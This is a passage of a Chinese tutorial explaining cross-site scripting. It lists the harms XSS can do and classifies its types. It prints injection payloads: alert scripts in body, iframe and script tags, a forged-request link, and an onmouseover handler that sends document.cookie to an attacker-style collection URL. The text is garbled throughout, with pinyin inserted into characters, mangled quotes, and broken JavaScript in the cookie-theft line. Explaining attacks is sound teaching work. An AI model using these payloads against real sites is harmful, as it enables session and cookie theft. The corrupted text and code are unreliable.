概念說(shuō)明 Xss(cross-site scripting)攻擊指的是攻擊者往Web頁(yè)面里插入惡意html標(biāo)簽或者javascript代碼,當(dāng)用戶瀏覽該頁(yè)或者進(jìn)行某些操作時(shí),攻擊者利用用戶對(duì)原網(wǎng)站的信任,誘騙用戶或?yàn)g覽器執(zhí)行一些不安全的操作或者向其它網(wǎng)站提交用戶的私密信息。 比如:攻擊者在論壇中放一個(gè)看似安全的鏈接,騙取用戶點(diǎn)擊后,竊取cookie中的用戶私密信息;或者攻擊者在論壇中加一個(gè)惡意表單,當(dāng)用戶提交表單的時(shí)候,卻把信息傳送到攻擊者的服務(wù)器中,而不是用戶原本以為的信任站點(diǎn)。 諸如此類(lèi),唯一能完全杜絕xss攻擊的方法,就是禁用script,img等,顯然這是不靠譜的,用戶需要豐富的頁(yè)面內(nèi)容;當(dāng)然我們可以用一些方法預(yù)防xss攻擊,盡量減少xss造成的危害。 盜取各類(lèi)用戶帳號(hào),如機(jī)器登錄帳號(hào)、用戶網(wǎng)銀帳號(hào)、各類(lèi)管理員帳號(hào) 控制企業(yè)數(shù)據(jù),包括讀取、篡改、添加、刪除企業(yè)敏感數(shù)據(jù)的能力 盜竊企業(yè)重要的具有商業(yè)價(jià)值的資料 非法轉(zhuǎn)賬 強(qiáng)制發(fā)送電子郵件 網(wǎng)站掛馬 控制受害者機(jī)器向其它網(wǎng)站發(fā)起攻擊 舉例: <body background=”javascript:alert(‘xss – gotcha!’)”> <iframe src=javascript:alert(‘xss – gotcha!’)></iframe> > </body><body onload=”a();”><script>function a(){alert(‘xss -gotcha!’);}</script>< ” xss攻擊分類(lèi) 分類(lèi)方法一 xss攻擊分為兩類(lèi):從其它站點(diǎn)到應(yīng)用站點(diǎn)的攻擊、從應(yīng)用站點(diǎn)到同站或其它站點(diǎn)的攻擊 從其它站點(diǎn)到應(yīng)用站點(diǎn)的攻擊:故名思義,這種攻擊是由外部發(fā)起的,來(lái)自email或其它站點(diǎn)。這種攻擊在用戶點(diǎn)擊鏈接,下載圖片或者提交表單的時(shí)候,對(duì)應(yīng)用網(wǎng)站進(jìn)行了意想之外的操作。 通常用戶登錄后會(huì)得到一個(gè)可用session,xss攻擊者可以利用這個(gè)session,越過(guò)用戶驗(yàn)證,進(jìn)行一些不安全的操作,如下: <a href = “http://www.abc.com/submit.php?subject = I%20am%20owned” >Check it out! 通過(guò)這個(gè)鏈接,只要用戶登錄了,就會(huì)發(fā)送一個(gè)subject,即使在其它網(wǎng)站上。 正因如此,一般的郵箱客戶端不會(huì)自動(dòng)從不信任的網(wǎng)站上加載圖片(因?yàn)榭紤]到可以通過(guò)img的src屬性向第三方站點(diǎn)發(fā)送GET請(qǐng)求);另外,可以設(shè)置session的過(guò)期時(shí)間,讓session自動(dòng)失效。 從應(yīng)用站點(diǎn)到同站或其它站點(diǎn)的攻擊:這種攻擊,通常是攻擊者在應(yīng)用站點(diǎn)上通過(guò)發(fā)表評(píng)論,或者其它方式嵌入代碼,當(dāng)用戶加載頁(yè)面或者點(diǎn)擊鏈接就會(huì)產(chǎn)生一些意想之外的操作。 如下: <a href=”#” onmouSEOver = “window.location = ‘http://abc.com/collectCookie.php?cookie = + document cookie.escape();” >Check it out!</a> 當(dāng)用戶滑過(guò)鏈接,就會(huì)將cookie信息發(fā)到攻擊者的服務(wù)器上。 分類(lèi)方法二 xss的另一種分類(lèi)方法(個(gè)人感覺(jué)更清楚),將xss攻擊分為三種, 類(lèi)型A,本地利用漏洞,這種漏洞存在于頁(yè)面中客戶端腳本自身。 其攻擊過(guò)程如下: Alice給Bob發(fā)送一個(gè)惡意構(gòu)造了Web的URL。 Bob點(diǎn)擊并查看了這個(gè)URL。 惡意頁(yè)面中的JavaScript打開(kāi)一個(gè)具有漏洞的HTML頁(yè)面并將其安裝在Bob電腦上。 具有漏洞的HTML頁(yè)面包含了在Bob電腦本地域執(zhí)行的JavaScript。 Alice的惡意腳本可以在Bob的電腦上執(zhí)行Bob所持有的權(quán)限下的命令。 類(lèi)型B 反射式漏洞,這種漏洞和類(lèi)型A有些類(lèi)似,不同的是Web客戶端使用Server端腳本生成頁(yè)面為用戶提供數(shù)據(jù)時(shí),如果未經(jīng)驗(yàn)證的用戶數(shù)據(jù)被包含在頁(yè)面中而未經(jīng)HTML實(shí)體編碼,客戶端代碼便能夠注入到動(dòng)態(tài)頁(yè)面中。 |
新聞熱點(diǎn)
疑難解答